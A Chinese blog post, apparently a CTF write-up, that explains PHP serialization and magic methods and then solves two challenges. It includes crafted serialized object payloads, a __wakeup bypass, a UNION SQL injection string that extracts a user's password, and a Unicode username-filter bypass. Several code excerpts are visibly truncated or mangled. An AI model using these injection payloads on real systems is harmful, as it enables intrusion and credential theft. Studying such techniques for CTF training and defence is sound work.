高级PHP程序员研究了一下:反序列化漏洞

2022-10-11 21:06:39 199 0
魁首哥

序列化

序列化说通俗点就是把一个对象变成可以传输的 字符串

php serialize()函数

用于序列化对象或数组,并返回一个字符串。序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。

 

输出:

a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";} 
解释
a: 代表数组(如果是o就代表对象(object))
3: 代表数组里面有3个变量
i: 代表数据类型(i:int;s:string)
6: 代表数据长度 

反序列化

php unserialize()函数

用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

 

输出:

Array ( [0] => Google [1] => Microsoft [2] => Facebook ) 

魔法方法

在php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被调用。即所谓的魔法函数。在这里主要涉及以下几个:

__construct()...........在每次创建新对象时先调用

__destruct()............某个对象的所有引用都被删除或者当对象被显式销毁时执行

__toString()............用于一个类被当成字符串时应怎样回应

__sleep() ..............在被序列化之前运行

__wakeup()..............反序列化时被调用 

实例分析

Jarvis 神盾局的秘密

通过php文件包含漏洞获得源码,这里仅介绍后面的php反序列化漏洞部分

index.php:

read file ();
?> 

shield.php

 file = $filename;
 }
 
 function readfile() {
 if (!empty($this->file) && stripos($this->file,'..')=== FALSE  
 && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
 return @file_get_contents($this->file);
 }
 }
 }
?> 

__construct函数在实例被创建的时候(也就是new Shield()的时候)执行,所以不会影响对$file的操作

 file = $filename;
 }
 
 function readfile() {
 if (!empty($this->file) && stripos($this->file,'..')===FALSE 
 && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
 return @file_get_contents($this->file);
 }
 }
 }
 $shield=new Shield('pctf.php');
 echo serialize($shield);
?> 

输出:

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} 

payload:

#34;Shield":1:{s:4:"file";s:8:"pctf.php";} 

源码审计:

php反序列化漏洞、对象注入,unserialize函数没有过滤而__wakeup函数进行了过滤,绕过__wakeup函数:对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行(参考链接4)

首先传入参数data需要构造序列化,通过 sql 注入获取orange用户的数据库密码

show()

function show() {
 list($username) = func_get_args();
 //sprint:把格式化的字符串写入一个变量中
 $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
 $obj = $this->__query($sql);
 if ( $obj != false ) {
 $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
 } else {
 $this->__die("Nobody Nobody But You!");
 } 
} 

通过分析show方法,构造如下:

payload:

private  $method="show";
 private $args=array("yoloyanng' union select password,username,role from users where username = 'orange' -- ");
 private $conn=1;
}
$hit = new HITCON();
$result = serialize($hit);
var_dump($result);
?> 

执行的sql语句为:

SELECT * FROM users WHERE username='lll' union select password,username,role from users where username = 'orange' -- ' 

疑问:不知为何username的值也是有限制,输入一些其他的字符并不能够得到结果

得到:

O:6:"HITCON":2:{s:14:"HITCONmethod";s:4:"show";s:12:"HITCONargs";a:1:{i:0;s:87:"lll' union select password,username,role from users where username = 'orange' -- ";}}s:12:"HITCONconn";i:1;} 

构造如下:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"lll' union select password,username,role from users where username='orange' -- ";}}s:12:"%00HITCON%00conn";i:1;} 

说明:至于为什么加上%00:当字符串为private类型时,序列化时生成的序列化字符串中类名前后会有0×00

得到:{“msg”:”root is admin”}

login()

function login() {
 global $FLAG;

 list($username, $password) = func_get_args();
 $username = strtolower( trim (mysql_escape_string($username)));
 $password = strtolower(trim(mysql_escape_string($password)));

 $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

 if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
 $this->__die("Orange is so shy. He do not want to see you.");
 }

 $obj = $this->__query($sql);
 if ( $obj != false && $obj->role == 'admin' ) {
 $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
 } else {
 $this->__die("Admin only!");
 }
} 
 if ( $username == 'orange' || stripos($sql, 'orange') != false ) 

可以看到对于用户名进行了过滤,可以参考连接3的绕过方法

payload:

method = $method;
 $this->args = $args;
 }
}
$args['username'] = 'orÃnge';
$args['password'] = 'root';
$data = new HITCON('login',$args);
var_dump(serialize($data));
?> 

得到:

O:6:"HITCON":2:{s:14:"HITCONmethod";s:5:"login";s:12:"HITCONargs";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}} 

构造:

O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}} 

{“msg”:”Hi, Orange! Here is your flag: HITCON{php 4nd mysq1 are s0 mag1c, isn’t it?}”}

收藏
分享
海报
0 条评论
199
上一篇:PHP的HTTP验证 下一篇:PHP基础学习7.深入循环之while list each循环

本站已关闭游客评论,请登录或者注册后再评论吧~

忘记密码?

图形验证码